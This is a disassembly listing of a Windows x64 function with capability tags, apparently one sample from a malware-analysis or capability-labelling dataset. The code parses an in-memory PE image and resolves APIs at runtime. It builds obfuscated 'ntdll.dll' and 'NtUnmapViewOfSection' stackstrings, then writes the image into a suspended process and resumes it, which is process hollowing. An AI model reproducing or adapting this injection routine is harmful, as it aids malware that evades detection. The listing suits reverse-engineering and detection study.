Function at 0x1400a52e8
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
mov r14, r8
mov rdi, rdx
mov r15, rcx
xor ebx, ebx
mov r13b, bl
mov byte [rbp + 0x88], bl
mov qword [rbp - 0x48], rbx
mov qword [rbp + 0x90], rbx
mov qword [rbp - 0x50], rbx
call fcn.140002050
mov r12d, eax
mov sil, byte [rbp + 0xa8]
test sil, sil
je 0x1400a53da
lea rcx, [rbp - 0x70]
call fcn.14000e844
nop
mov r9b, byte [rbp + 0xa0]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x48]
mov ecx, r12d
call fcn.140003654
xor r12d, r12d
test al, al
je 0x1400a53aa
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400a53aa
lea rax, [rbp - 0x50]
mov qword [rsp + 0x28], rax
call fcn.1400ac80c
test eax, eax
je 0x1400a53aa
mov rdx, qword [rbp - 0x48]
lea rcx, [rbp + 0x90]
call fcn.140006cc4
movzx ebx, bl
test eax, eax
lea eax, [r12 + 1]
cmovne ebx, eax
lea rcx, [rbp - 0x70]
call fcn.14000e83c
test bl, bl
jne 0x1400a53dd
xor al, al
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor r12d, r12d
lea rdx, [0x1400c4520]
lea rcx, [rbp - 0x70]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rcx, [rbp - 0x70]
call fcn.14000e83c
test rbx, rbx
je 0x1400a53b7
lea rdx, [0x1400c36b0]
lea rcx, [rsp + 0x70]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d62c8], rax
lea rcx, [rsp + 0x70]
call fcn.14000e83c
lea rdx, [0x1400c36e0]
lea rcx, [rsp + 0x70]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d62c0], rax
lea rcx, [rsp + 0x70]
call fcn.14000e83c
lea rdx, [0x1400c3710]
lea rcx, [rsp + 0x70]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d62b8], rax
lea rcx, [rsp + 0x70]
call fcn.14000e83c
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x1400a5758
movsxd rbx, dword [r15 + 0x3c]
add rbx, r15
cmp dword [rbx], 0x4550
jne 0x1400a5758
lea rdx, [rbp + 0xa8]
mov rcx, rdi
call fcn.14000745c
mov ecx, 0x14c
mov eax, dword [rbp + 0xa8]
cmp word [rbx + 4], cx
jne 0x1400a54fb
test eax, eax
jne 0x1400a53b7
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x1400a550f
cmp eax, 6
jne 0x1400a53b7
mov edx, 0x18
lea rcx, [rbp - 0x70]
call fcn.14000e148
mov edx, 0x68
lea rcx, [rbp - 0x30]
call fcn.14000e148
mov dword [rbp - 0x30], edx
mov dword [rbp + 0xc], 0x101
mov word [rbp + 0x10], r12w
lea rax, [rbp - 0x70]
test sil, sil
je 0x1400a5576
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x90]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov r8, r14
mov rdx, rdi
mov rcx, qword [rbp - 0x50]
call fcn.1400ac8b8
jmp 0x1400a558f
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov rdx, r14
mov rcx, rdi
call fcn.1400ac9a0
test eax, eax
je 0x1400a5758
mov edx, recv
call fcn.1400ac758
mov rdi, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x68]
call fcn.140007a60
mov rcx, qword [rbp - 0x70]
test eax, eax
je 0x1400a5753
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x40]
call qword [0x1400d62c8]
lea r13, [rbx + 0x30]
mov rdx, qword [r13]
mov eax, dword [rbp - 0x40]
cmp rax, rdx
jne 0x1400a5677
mov dword [rsp + 0x63], 0x642e6c6c
mov word [rsp + 0x68], WSASetLastError
mov byte [rsp + 0x67], WSASetLastError
mov word [rsp + 0x60], 0x746e
mov byte [rsp + 0x62], 0x64
mov dword [rsp + 0x71], 0x6d6e5574
mov word [rbp - 0x80], 0x6974
mov word [rbp - 0x7d], WSAStartup
mov dword [rsp + 0x7a], 0x53664f77
mov dword [rsp + 0x76], 0x65695670
mov word [rsp + 0x7e], 0x6365
mov byte [rsp + 0x70], 0x4e
mov byte [rbp - 0x7e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x75], 0x61
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x70]
call rax
mov rdx, qword [rbx + 0x30]
neg byte [rbp + 0x98]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
mov rcx, qword [rbp - 0x70]
call fcn.1400079c8
mov r14, rax
mov rcx, qword [rbp - 0x70]
test rax, rax
je 0x1400a5745
mov r9d, dword [rbx + 0x54]
mov r8, r15
mov rdx, rax
call fcn.1400ac114
movzx esi, word [rbx + 0x14]
add rsi, 0x2c
xor eax, eax
cmp ax, word [rbx + 6]
jae 0x1400a56f9
add rsi, rbx
lea r13d, [rax + 1]
mov r9d, dword [rsi - 4]
mov r8d, dword [rsi]
add r8, r15
mov edx, dword [rsi - 8]
add rdx, r14
mov rcx, qword [rbp - 0x70]
call fcn.1400ac114
lea rsi, [rsi + 0x28]
add r12d, r13d
movzx eax, word [rbx + 6]
cmp r12d, eax
jl 0x1400a56cc
lea r13, [rbx + 0x30]
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov r9d, 8
mov r8, r13
mov rcx, qword [rbp - 0x70]
call fcn.1400ac114
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rbp - 0x68]
call qword [0x1400d62c0]
mov rcx, qword [rbp - 0x68]
call qword [0x1400d62b8]
mov r13d, 1
xor r12d, r12d
jmp 0x1400a5758
call fcn.1400ab7b4
mov r13b, byte [rbp + 0x88]
jmp 0x1400a5758
call fcn.1400ab7b4
cmp qword [rbp + 0x90], r12
je 0x1400a57de
lea rdx, [0x1400c3730]
lea rcx, [rbp - 0x70]
call fcn.1400a8494
nop
mov rcx, rax
call fcn.14000e574
mov rcx, rax
call fcn.140006ad4
mov rbx, rax
lea rcx, [rbp - 0x70]
call fcn.14000e83c
test rbx, rbx
je 0x1400a57de
lea rdx, [0x1400c3750]
lea rcx, [rsp + 0x70]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d62f0], rax
lea rcx, [rsp + 0x70]
call fcn.14000e83c
mov rax, qword [0x1400d62f0]
test rax, rax
je 0x1400a57de
mov rcx, qword [rbp + 0x90]
call rax
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x1400a57f0
call fcn.140007dd0
mov qword [rbp - 0x50], r12
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400a57fe
call fcn.140007dd0
mov al, r13b
jmp 0x1400a53b9